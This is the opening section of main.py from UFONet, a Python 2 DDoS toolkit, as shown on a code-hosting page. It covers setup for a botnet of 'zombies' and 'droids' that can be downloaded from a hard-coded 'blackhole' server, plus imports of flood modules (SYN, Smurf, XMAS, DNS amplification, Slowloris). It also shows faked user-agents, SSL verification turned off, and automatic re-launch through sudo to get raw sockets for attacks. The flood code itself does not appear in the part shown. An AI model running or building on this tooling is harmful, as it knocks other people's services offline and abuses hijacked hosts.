main.py 213 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2019 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import os, sys, re, traceback, random, time, threading, base64, string, math
  10. import StringIO, socket, httplib, urllib, urllib2, ssl, cgi, json, gzip
  11. from uuid import getnode
  12. from urlparse import urlparse
  13. from random import randrange, shuffle
  14. from options import UFONetOptions
  15. from update import Updater
  16. from herd import Herd
  17. from zombie import Zombie
  18. from doll import Doll
  19. from core.tools.inspector import Inspector
  20. from core.tools.abductor import Abductor
  21. from core.tools.ufoscan import UFOSCAN
  22. from core.mods.loic import LOIC
  23. from core.mods.loris import LORIS
  24. from core.mods.ufosyn import UFOSYN
  25. from core.mods.spray import SPRAY
  26. from core.mods.smurf import SMURF
  27. from core.mods.xmas import XMAS
  28. from core.mods.nuke import NUKE
  29. from core.mods.tachyon import TACHYON
  30. class UFONet(object):
  31. def __init__(self):
  32. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  33. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  34. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  35. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] / Try [DIY] your own mirror
  36. self.external_check_service1 = 'https://downforeveryoneorjustme.com/' # set external check service 1 [OK! 28/02/2019]
  37. self.external_check_service2 = 'https://status.ws/' # set external check service 2 [OK! 28/02/2019]
  38. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  39. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]
  40. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]
  41. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]
  42. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  43. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  44. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  45. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  46. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  47. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  48. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  49. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  50. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  51. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  52. self.timeline_file = 'docs/VERSION' # set source for code releases
  53. self.news_file = "server/news.txt" # set source path to retrieve [Blackhole] [News]
  54. self.missions_file = "server/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  55. self.board_file = "server/board.txt" # set source path to retrieve [Blackhole] [Board]
  56. self.grid_file = "server/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  57. self.wargames_file = "server/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  58. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  59. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  60. self.referer = '' # black magic
  61. self.port = "8080" # default injection port
  62. self.mothershipname = "core/txt/shipname.txt"
  63. self.mothership_baptism() # generating static name/id for your mothership ;-)
  64. self.head = False
  65. self.payload = False
  66. self.external = False
  67. self.attack_mode = False
  68. self.connection_failed = False
  69. self.total_possible_zombies = 0
  70. self.herd = Herd(self)
  71. self.sem = False
  72. self.db_flash = 0 # db stress counter
  73. self.total_aliens = 0
  74. self.aliens_hit = 0
  75. self.aliens_fail = 0
  76. self.total_droids = 0
  77. self.droids_hit = 0
  78. self.droids_fail = 0
  79. self.total_ucavs = 0
  80. self.ucavs_hit = 0
  81. self.ucavs_fail = 0
  82. self.total_rpcs = 0
  83. self.rpcs_hit = 0
  84. self.rpcs_fail = 0
  85. self.total_loic = 0
  86. self.total_loris = 0
  87. self.total_syn = 0
  88. self.total_spray = 0
  89. self.total_smurf = 0
  90. self.total_xmas = 0
  91. self.total_nuke = 0
  92. self.total_tachyon = 0
  93. self.total_zombies_failed_connection = 0
  94. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  95. self.ctx.check_hostname = False
  96. self.ctx.verify_mode = ssl.CERT_NONE
  97. self.nat_error_flag = "OFF"
  98. self.trans_zombies = 0
  99. self.scanned_zombies = 0
  100. self.loadcheck_counter = 0
  101. self.loadcheck_prev_size = None
  102. self.loadcheck_prev_load = None
  103. self.loadcheck_first_size = None
  104. self.loadcheck_first_load = None
  105. self.loadcheck_size_list = []
  106. self.loadcheck_load_list = []
  107. self.loadcheck_size_median = None
  108. self.loadcheck_size_max = None
  109. self.loadcheck_size_min = None
  110. self.loadcheck_load_median = None
  111. self.loadcheck_size_max = None
  112. self.loadcheck_size_min = None
  113. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  114. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  115. self.expire_timing = 30 # default expiring time per round
  116. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  117. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  118. def mothership_baptism(self):
  119. if os.path.exists(self.mothershipname) == True:
  120. f = open(self.mothershipname)
  121. self.mothership_id = f.read()
  122. f.close()
  123. else:
  124. self.mothership_ids = []
  125. f = open(self.motherships_file)
  126. motherships = f.readlines()
  127. f.close()
  128. for ship in motherships:
  129. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  130. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()))
  131. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  132. m.write(str(self.mothership_id.upper()))
  133. m.close()
  134. def create_options(self, args=None):
  135. self.optionParser = UFONetOptions()
  136. self.options = self.optionParser.get_options(args)
  137. if not self.options:
  138. return False
  139. return self.options
  140. def banner_welcome(self):
  141. print " 0===============================================0"
  142. print " || ||"
  143. print " (00) || * Botnet -> [DDoS]: ||"
  144. print " (O)_ (O) '----' (O) _(O) || /Zombies : HTTP GET bots ||"
  145. print " | |.''.( xx ).''.| | || /Droids : HTTP GET (+params) bots ||"
  146. print " .'.' |'..'| '.'. || /Aliens : HTTP POST bots ||"
  147. print " .-. .' /'--.__|_00_|__.--'\ '. .-. || /UCAVs : Web Abusing bots ||"
  148. print " (O).)-|0| \ x | ## |x / |0|-(.(O) || /X-RPCs : XML-RPC bots ||"
  149. print " `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /DBSTRESS: HTTP DB attack ||"
  150. print " _ | || '-.___||___.-' || | _ || /SPRAY : TCP-SYN reflector ||"
  151. print " .' _ | ||==O | __ | O==|| | _ '. || /SMURF : ICMP echo flooder ||"
  152. print " / .' ''.| || | /_00_\ | || |.'' '. \ || /TACHYON : DNS amplificator ||"
  153. print " | '### | =| | ###### | |= |' ### | || ||"
  154. print " | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || * Close Combat -> [DoS]: ||"
  155. print " \ '._.' '. | \_##_/ | .' '._.' / || /LOIC : Fast HTTP requests ||"
  156. print " '.__ ____0_'.|__'--'__|.'_0____ __.' || /LORIS : Slow HTTP requests ||"
  157. print " .'_.-| |-._'. || /UFOSYN : TCP-SYN flooder ||"
  158. print " || /XMAS : TCP-XMAS flooder ||"
  159. print " + Class: UFONet / ViPR404+ (model F) + || /NUKE : TCP-STARVATION attack ||"
  160. print " || ||"
  161. print " 0|=============================================|0"
  162. print ""
  163. def banner(self):
  164. print '='*75, "\n"
  165. print "888 888 8888888888 .d88888b. 888b 888 888 "
  166. print "888 888 888 d88P Y888b 8888b 888 888 "
  167. print "888 888 888 888 888 88888b 888 888 "
  168. print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 "
  169. print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 "
  170. print "888 888 888 888 888 888 Y88888 88888888 888 "
  171. print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. "
  172. print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888"
  173. print self.optionParser.description, "\n"
  174. print '='*75
  175. def generate_exit_msg(self):
  176. f = open(self.misc_file)
  177. m = f.readlines()
  178. f.close()
  179. self.exit_msg = "Generating random exit... \n\n"
  180. self.exit_msg += " -> "+str(random.choice(m).strip())
  181. def AI(self):
  182. try:
  183. import turtle as AI
  184. print "\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n"
  185. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  186. bg = random.choice(colors).strip()
  187. t = AI.Pen()
  188. AI.bgcolor(bg)
  189. r = random.randrange(100,100000)
  190. for x in range(r):
  191. t.pencolor(colors[x%6])
  192. w = random.randrange(100,1000)
  193. t.width(x/w + 1)
  194. t.forward(x)
  195. l = random.randrange(50,1000)
  196. t.left(l)
  197. except:
  198. print "[AI] %!$1#9#84#~... -> [Exiting!]"
  199. pass
  200. def round_float(self, num):
  201. return str(int(round(num, -1)))[2] # black magic
  202. def show_mac_address(self):
  203. mac = getnode() # to get physical address
  204. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  205. return hex_mac
  206. def show_ips(self):
  207. import requests
  208. try:
  209. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  210. s.connect(("8.8.8.8", 80))
  211. private_ip = s.getsockname()[0] # black magic
  212. s.close()
  213. except:
  214. private_ip = "Unknown"
  215. try:
  216. public_ip = requests.get(self.check_ip_service3).text
  217. except:
  218. try:
  219. public_ip = requests.get(self.check_ip_service2).text
  220. except:
  221. try:
  222. public_ip = requests.get(self.check_ip_service1).text
  223. except:
  224. public_ip = "Unknown"
  225. return private_ip, public_ip
  226. def try_running(self, func, error, args=None):
  227. options = self.options
  228. args = args or []
  229. try:
  230. return func(*args)
  231. except Exception as e:
  232. if options.verbose:
  233. print(error, "error")
  234. traceback.print_exc()
  235. def checkeuid(self):
  236. try:
  237. euid = os.geteuid()
  238. except:
  239. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  240. print "[AI] "+self.exit_msg+"\n"
  241. sys.exit(2) # return
  242. return euid
  243. def start_ship_engine(self):
  244. self.agents = [] # generating available user-agents
  245. f = open(self.agents_file)
  246. agents = f.readlines()
  247. f.close()
  248. for agent in agents:
  249. self.agents.append(agent)
  250. self.user_agent = random.choice(self.agents).strip()
  251. self.search_engines = [] # available dorking search engines
  252. self.search_engines.append('bing') # [28/02/2019: OK!]
  253. self.search_engines.append('yahoo') # [28/02/2019: OK!]
  254. self.search_engines.append('startpage') # [28/02/2019: OK!]
  255. self.search_engines.append('duck') # [28/02/2019: OK!]
  256. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  257. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  258. if not os.path.exists("core/json/"): # create gui json cfg files folder
  259. os.mkdir("core/json/")
  260. self.banner_welcome()
  261. self.update_flying_stats() # update flying time stats
  262. chargo = self.check_mothership_chargo() # check mothership chargo
  263. self.update_max_chargo(int(chargo)) # update max chargo stats
  264. self.generate_exit_msg() # generate random exit msg
  265. def run(self, opts=None):
  266. if opts:
  267. self.create_options(opts)
  268. options = self.options
  269. # start threads
  270. if not self.options.threads:
  271. self.options.threads=5 # default number of threads
  272. self.sem = threading.Semaphore(self.options.threads)
  273. # start ship engine
  274. self.start_ship_engine()
  275. # check proxy options
  276. proxy = options.proxy
  277. if options.proxy:
  278. try:
  279. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  280. m = re.search(pattern, proxy)
  281. if m is None:
  282. self.banner()
  283. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  284. return
  285. else:
  286. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  287. except Exception:
  288. self.banner()
  289. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  290. return
  291. # check tor connection
  292. if options.checktor:
  293. url = self.check_tor_url # TOR status checking site
  294. self.banner()
  295. print "\nSending request to: " + url + "\n"
  296. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  297. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  298. try:
  299. if options.proxy: # set proxy
  300. self.proxy_transport(options.proxy)
  301. req = urllib2.Request(url, None, headers)
  302. tor_reply = urllib2.urlopen(req, context=self.ctx).read()
  303. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  304. if not tor_reply or 'Congratulations' not in tor_reply:
  305. print("It seems that Tor is not properly set.\n")
  306. print("IP address appears to be: " + your_ip + "\n")
  307. else:
  308. print("Congratulations!. Tor is properly being used :-)\n")
  309. print("IP address appears to be: " + your_ip + "\n")
  310. except:
  311. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  312. sys.exit(2) # return
  313. # run AES256+HMAC-SHA1 enc/dec tool
  314. if options.cryptomsg:
  315. from server.crypter import Cipher
  316. from base64 import b64encode, b64decode
  317. print " "
  318. print " ____...------------...____ "
  319. print " _.-'' /o/__ ____ __ __ __ \o\_`'-._ "
  320. print " .' / / \ \ '. "
  321. print " |=====/o/======================\o\=====| "
  322. print " |____/_/________..____..________\_\____| "
  323. print " / _/ \_ <_o#\__/#o_> _/ \_ \ "
  324. print " \__/_____\####/0213411543/####/_____\__/ "
  325. print " |===\!/========================\!/===| "
  326. print " | |=| .---. |=| | "
  327. print " |===|o|=========/ \========|o|===| "
  328. print " | | | \() ()/ | | | "
  329. print " |===|o|======{'-.) A (.-'}=====|o|===| "
  330. print " | __/ \__ '-.\uuu/.-' __/ \__ | "
  331. print " |==== .'.'^'.'.====|====.'.'^'.'.====| "
  332. print " | _\o/ __ {.' __ '.} _ _\o/ _| "
  333. print " '''''''''''''''''''''''''''''''''''''' "
  334. print "\nUFONet Crypter (AES256+HMAC-SHA1)\n"
  335. print " -> (140 plain text chars = 69 encrypted chars)\n"
  336. text = str(raw_input("- Enter text: "))
  337. input_key = str(raw_input("- Enter key: "))
  338. key = b64encode(input_key)
  339. c = Cipher(key, text)
  340. msg = c.encrypt()
  341. c.set_text(msg)
  342. print '\n-> Ciphertext: [', msg, ']'
  343. print '\nLength:', len(msg)
  344. print '\n-> Key (share it using SNEAKNET!):', input_key
  345. print '\nDecryption PoC:', c.decrypt(), "\n"
  346. # run shownet tool
  347. if options.shownet:
  348. hex_mac = self.show_mac_address()
  349. self.banner()
  350. print "-> Network Info:"
  351. print '='*44
  352. print "-"*35
  353. print "|- MAC Address :", hex_mac
  354. print "|" +"-"*34
  355. private_ip, public_ip = self.show_ips()
  356. print "|- IP Private :", private_ip
  357. print "|" +"-"*34
  358. t = urlparse(self.check_ip_service3)
  359. name_service = t.netloc
  360. print "|- IP Public :", public_ip +" | ["+name_service+"]"
  361. print "-"*35
  362. print '='*75, "\n"
  363. # run UFOSCAN tool (check EUID when running UFOSCAN)
  364. if options.xray:
  365. euid = self.checkeuid()
  366. if euid != 0:
  367. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  368. try:
  369. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  370. os.execlpe('sudo', *args)
  371. except:
  372. pass # keep running
  373. else:
  374. if not options.xrayps:
  375. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  376. ports = options.xrayps
  377. try:
  378. portX, portY = ports.split('-')
  379. try:
  380. portX = int(portX)
  381. portY = int(portY)
  382. except:
  383. portX = 1
  384. portY = 1024
  385. print "[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n"
  386. except:
  387. portX = 1
  388. portY = 1024
  389. print "[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n"
  390. self.banner()
  391. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  392. print '='*22 + '\n'
  393. try:
  394. self.instance = UFOSCAN() # instance main class for scanning operations
  395. xray = self.instance.scanning(options.xray, portX, portY)
  396. except Exception, e:
  397. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  398. if self.options.verbose:
  399. traceback.print_exc()
  400. return
  401. # show code timeline
  402. if options.timeline:
  403. f = open(self.timeline_file, 'r')
  404. releases = f.readlines()
  405. f.close()
  406. self.banner()
  407. print "-> Code timeline:"
  408. print '='*44
  409. print "-"*35
  410. for r in releases:
  411. print r.strip('\n')
  412. print "-"*35
  413. print '='*75, "\n"
  414. # print some examples
  415. if options.examples:
  416. f = open(self.examples_file, 'r')
  417. examples = f.readlines()
  418. f.close()
  419. self.banner()
  420. for e in examples:
  421. print e.strip('\n')
  422. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  423. if options.ufosyn:
  424. euid = self.checkeuid()
  425. if euid != 0:
  426. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  427. try:
  428. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  429. os.execlpe('sudo', *args)
  430. except:
  431. pass # keep running, but UFOSYN will fail
  432. # check EUID when running SPRAY (root required)
  433. if options.spray:
  434. euid = self.checkeuid()
  435. if euid != 0:
  436. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  437. try:
  438. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  439. os.execlpe('sudo', *args)
  440. except:
  441. pass # keep running, but SPRAY will fail
  442. # check EUID when running SMURF (root required)
  443. if options.smurf:
  444. euid = self.checkeuid()
  445. if euid != 0:
  446. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  447. try:
  448. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  449. os.execlpe('sudo', *args)
  450. except:
  451. pass # keep running, but SMURF will fail
  452. # check EUID when running XMAS (root required)
  453. if options.xmas:
  454. euid = self.checkeuid()
  455. if euid != 0:
  456. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  457. try:
  458. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  459. os.execlpe('sudo', *args)
  460. except:
  461. pass # keep running, but XMAS will fail
  462. # check EUID when running NUKE (root required)
  463. if options.nuke:
  464. euid = self.checkeuid()
  465. if euid != 0:
  466. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  467. try:
  468. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  469. os.execlpe('sudo', *args)
  470. except:
  471. pass # keep running, but NUKE will fail
